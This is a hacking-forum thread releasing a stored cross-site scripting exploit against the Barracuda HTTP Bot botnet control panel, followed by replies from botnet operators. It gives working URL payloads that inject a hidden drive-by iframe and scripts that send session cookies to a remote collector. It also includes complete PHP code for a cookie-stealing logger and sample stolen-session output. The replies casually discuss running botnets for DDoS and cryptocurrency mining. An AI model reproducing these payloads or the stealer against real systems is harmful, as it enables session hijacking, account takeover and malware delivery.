Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[XSS] Barracuda HTTP Bot - Persistent XSS Exploit - 0DAY Release [/XSS]

This is a repost from the Marketplace Discussions section of this forum.

I am posting it in this section as well because it is a great example of how the stuff learned in this section can actually be put to practical use as opposed to just pen-testing random websites you find on Google. I hope lots of people learn something good from this. Have fun!

---------------------------------------------------------------

Barracuda HTTP Bot has reached a new low. A little bit of sniffing on WireShark shows us that Barracuda not only sends its data in plaintext, but also does not sanitize any input on the server side. Those of you in the Website and Forum Hacking section of HackForums are familiar with XSS exploits. Today we will be going over what you call persistent XSS.

-What is 'persistent XSS' ?
-The persistent (or stored) XSS vulnerability is a more devastating variant of a cross-site scripting flaw: it occurs when the data provided by the attacker is saved by the server, and then permanently displayed on "normal" pages returned to other users in the course of regular browsing, without proper HTML escaping. A classic example of this is with online message boards where users are allowed to post HTML formatted messages for other users to read.
Source: http://en.wikipedia.org/wiki/Cross-site_...Persistent

-Where can this be found in Barracuda HTTP Bot?
-We will go over this now.

As you can see in the image in the spoiler below, Barracuda HTTP Bot transmits data to the server in plaintext.
Spoiler (Click to View)

If we play around with submissions a bit...
Code
?ip=69.69.69.69&os=Microsoft%20Windows%207%20Ultimate%20&name=User&id=User-2.1<script>alert("persistent%20xss");</script>
...you will find that the above script will show up as a textbox saying 'persistent xss' whenever a user visits their bot dashboard. (Example below)
Spoiler (Click to View)

Now you may be wondering:
-What's the point of this? How can this be useful at all?
-Well, it can be used for a number of things such as iframing the page with an exploit pack or a java driveby, or stealing cookies

An example of an iframe utilizing this exploit would be...
Code
?ip=69.69.69.69&os=Microsoft%20Windows%207%20Ultimate%20&name=User&id=User-2.1<iframe src="http://website.com/DRIVEBY.php" width="0" height="0" frameborder="0"></iframe>

An example of a cookie stealer utilizing this exploit would be...
Code
?ip=69.69.69.69&os=Microsoft%20Windows%207%20Ultimate%20&name=User&id=User-2.1<script>img=new%20Image();img.src="http://website.com/cookiefile.php?cookie="%2Bdocument.cookie;</script>

or...
This one is better because 'botkill' logs from the bot are on the home page 100% of the time and not necessary to refresh as all logs are displayed.
Code
/logs.php?data=Successfully%20Deleted%3A%20C%3A%5CUsers%5CMiranda%5CAppData%5CRoaming%5CMicrosoft%5CWindows%5CStart%20Menu%5CPrograms%5CStartup%5Cnotavirus.exe<script>img=new%20Image();img.src="http://website.com/cookiefile.php?cookie="%2Bdocument.cookie;</script>


Example PHP for a cookie & information stealing file:
Code
<?php

function WriteDataToLog($cData, $cReferer)
{
    $Filename = "logfile.txt";

    $hOpenFile = fopen($Filename, "a+");
    if($hOpenFile)
        {
        $cContentsFile = fread($hOpenFile, filesize($Filename));

        if(!strstr($cContentsFile, $cReferer))
        {
            fwrite($hOpenFile, $cData);
            fclose($hOpenFile);
        }
        }
}

function HandleData()
{
    $SessionCookie = $_GET['cookie'];
    $Date = date("m-d-y h:i:s A");    
    $UserAgent = $_SERVER['HTTP_USER_AGENT'];
    $Referer = $_SERVER['HTTP_REFERER'];
    $ClientIp = $_SERVER['REMOTE_ADDR'];

    $cCombinedData = sprintf("Timestamp: $Date\nReferer: $Referer\nCookie: $SessionCookie\nIP: $ClientIp\nUser Agent: $UserAgent\n-----\n");

    WriteDataToLog($cCombinedData, $Referer);
}

HandleData();

?>

Example output:
Code
Timestamp: 12-07-12 09:22:45 PM
Referer: http://websiteone.org/botnet/dashboard.php
Cookie: __cfduid=j7a9h55j68d8s7fs98hr89w9q0j0fgs87f7fds; PHPSESSID=77955hfsanfgds89s99h7f6s87n8f6as45
IP: 211.3.69.74
User Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11
-----
Timestamp: 12-07-12 09:52:08 PM
Referer: http://websitetwo.com/barracudabot/dashboard.php
Cookie: PHPSESSID=9a67f7678a8h8f5s7c7b7f7a889a9arb
IP: 177.55.6.43
User Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.91 Safari/537.11
-----
Timestamp: 12-08-12 08:26:00 PM
Referer: http://websitethree.net/image/dashboard.php
Cookie: PHPSESSID=2dges967a6f16a9nfg5a8mn6d5a4v
IP: 123.213.21.23
User Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.861.0 Safari/535.2
-----

-What's the point of stealing cookies?
-You can use session cookies to log in under somebody else's account or identity without actually needing their login information.

Recently, it appears somebody has been doing the above as according to the following spoiler:
Spoiler (Click to View)

In conclusion, this is only one of many horrible things regarding Barracuda HTTP Bot. When it used to be an IRC bot, there was another exploit where bots listened to not the vHost, but instead the nickname of the bot controller. It has also proven to use BUNK, false-advertised DDoS methods. Hopefully this will prove to the users of HackForums that this bot is not all it claims to be on the sales thread.

Thanks and I hope you enjoyed this thread,
127.O.O.1

-----

PS: The sellers(Organized and Tropical Paradise have been lying to their customers about 'the host stealing bots' according to the following posts...
(Dec 3, 2012 03:20 PM)Tropical Paradise Wrote:  
(Dec 3, 2012 03:17 PM)Releases Wrote:  Hosting fixed now? No shells on it etc?

Absolutely not. The first host I used where most customers are hosted was hacked, but the hacker only got root MySQL access (according to my host.) This has been fixed now, and according to my host they've taken many steps to prevent this in the future.

(Dec 4, 2012 03:57 PM)Organised Wrote:  I wont to know what host this is on so i can remove everyone from it if its mine ill see if its hacked also if you need update Digital pm me

...They actually just had no idea what the actual problem was due to their lack of coding knowledge.

and look who was right...
(Dec 3, 2012 03:22 PM)Releases Wrote:  But are you aware of the following: http://www.exposedbotnets.com/search/lab...uda%20http

They are stating that there are holes in the setup of the HTTP bot itself. Not only the hosting itself.

This is not intended to trash any sales, just only want this fixed so I don't lose again in the future.

-----

F.A.Q.

-Was it you stealing the bots?
-No, it wasn't me, I just care to expose this bot and its flaws as much as possible

-Are there other flaws in Barracuda HTTP Bot?
-Yes, the entire bot is shit. I cannot believe it took a team of coders to create such a thing

-Why did you post this thread?
-I am so sick of seeing this bot in the market. It is complete shit and all of the buyers have no idea because they don't know any better.

-Can you please post a conglomoration of unhappy buyers who bought Barracuda?
-Why yes I can.
Spoiler (Click to View)

-----

Some other good Barracuda 'exposing' related posts:

A large number of exposed panels and channels on none other than Exposed Botnets by Pig and i_post_ur_info:
http://www.exposedbotnets.com/search/lab...uda%20http

A post of my own:
List of reasons of why-not-to-buy-Barracuda-Bot

A post of analysis of Barracuda DDOS by _Stoner:
Spoiler (Click to View)

A post about botkiller code by betamonkey:
Spoiler (Click to View)
[Image: f4qey05.gif]

If you need any help, feel free to PM me!
Epic thread, thanks for the lulz.. .sucks for the people who bought that
Thumbs up, always love reading shit like this.

I remember back in the day when a dood found sqli in the zeus admin panel. Peoples shit turned sideways inside them.

+1
Nice find, why does the bot send the targets ip via php get. When it could have just be retrieved by the server using "$_SERVER['REMOTE_ADDR'];" ?

Hey there,
If I have helped you or if you just enjoy my posts, please consider donating bitcoin to me 1DpL2kcxuidEsjt2MMN2AYufcVoXbi3v2X

[Image: FtwuQgr.gif]
It's funny how the owner says

Quote:but the hacker ONLY got root MySQL access


As if it were a small simple thing.
I can vouch this is a good bot, But I can also vouch that it has major security flaws. Would be amazing if these got fixed.

Simple fix for now: Don't give any fucker your URL? Derp... Also create a custom login script on a fake hosting to hide your URL.

~Arcane 🤝
(Dec 4, 2012 09:45 PM)tux1 Wrote:  Nice find, why does the bot send the targets ip via php get. When it could have just be retrieved by the server using "$_SERVER['REMOTE_ADDR'];" ?

He actually uses wipmania and dyndns APIs to determine the bot IP. That's a bad thing to depend on even in an IRC bot.

Thanks for referencing my post, OP, I spent some time on that
(Dec 4, 2012 10:17 PM)Sky Wrote:  I can vouch this is a good bot, But I can also vouch that it has major security flaws. Would be amazing if these got fixed.

Simple fix for now: Don't give any fucker your URL? Derp... Also create a custom login script on a fake hosting to hide your URL.

~Arcane 🤝

1. DDoS attacks don't work (except for maybe UDP..? This opinion is shared by people other than myself)

2. Wipmania for an HTTP bot? What the..? Also it appears that the bot itself tells the panel its IP, when in fact this only allows spoofing and is stupid as fuck since the server obviously knows the bot's IP

3. No encryption of bot comms? XSS'able? This guy is coding something security researchers will actively try to exploit to disrupt the botnet, and he puts no effort into protecting his own customers. I hope you realize that this vulnerability can allow researchers to identify the botnet owner by his IP and even login under his control panel account.

This bot sucks dude. If you think this is good, your standards need to be raised quite a bit.

Regards,
Beta Monkey
Time to move away from Baraccuda it seems

First time I lost 8k bots to 0 by uninstall/update and shit logins and commands from God-who-knows-whom
Second time since a week, my bots decreased from 20k to 1k now
taking a note of the numerous flaws exposed by this. what is not to say that the developers of this are just playing stupid and they are exploiting vulnerabilities left by themselves intentionally?

this is an epic way for them to troll and scam unsuspecting users while pretending they know nothing about it or why it is happening
(Dec 4, 2012 11:42 PM)rvltr Wrote:  taking a note of the numerous flaws exposed by this. what is not to say that the developers of this are just playing stupid and they are exploiting vulnerabilities left by themselves intentionally?

this is an epic way for them to troll and scam unsuspecting users while pretending they know nothing about it or why it is happening

You know, I wouldn't be surprised. These "mistakes" are so dumb that it's hard not to think that.

Beta Monkey
(Dec 4, 2012 11:20 PM)Shiroyasha Wrote:  Time to move away from Baraccuda it seems

First time I lost 8k bots to 0 by uninstall/update and shit logins and commands from God-who-knows-whom
Second time since a week, my bots decreased from 20k to 1k now

Alot too lose.. hopefully next time you don't trust a noob too host you and use .net..

🤝

P.S-Nice-Vuln
Lmao I have my own dedicated servers and they are housed and secured by serveroutes :P
Nothing breached the servers at all, first time it was some session exploit and this time I dont know what it was but my guess is it was this XSS exploit

Not worried about bots though since I can get to that number and quality again, just that I lost almost 1 week of Highquality BTC mining time xD
(Dec 5, 2012 01:16 AM)Shiroyasha Wrote:  Lmao I have my own dedicated servers and they are housed and secured by serveroutes :P
Nothing breached the servers at all, first time it was some session exploit and this time I dont know what it was but my guess is it was this XSS exploit

Not worried about bots though since I can get to that number and quality again, just that I lost almost 1 week of Highquality BTC mining time xD
>secured by serveroutes

You use managed hosting for bots? Are you retarded?
no I dont use managed services as they charge $200 extra for management
I am a old client there with servers worth $700+ monthly for my personal sites etc. so I got free nginx server setup and security of server with a firewall

It was all before setting baraccuda up, I aint such a kid to ask them to secure it for my botney :|

PS: I am also a Server Administrator and a Network Administrator (not pro yet)


Possibly Related Threads...
Thread / Author Replies Views Last Post
by n31ght0May 13, 2023 09:28 PM 4 3,357 May 13, 2023 09:28 PM
Last Post: lullabye
by Gee4rceApr 13, 2021 09:59 AM 5 309 Apr 13, 2021 09:59 AM
Last Post: Gee4rce
by ChoupsSep 11, 2020 12:58 PM 13 728 Sep 11, 2020 12:58 PM
Last Post: Sitrep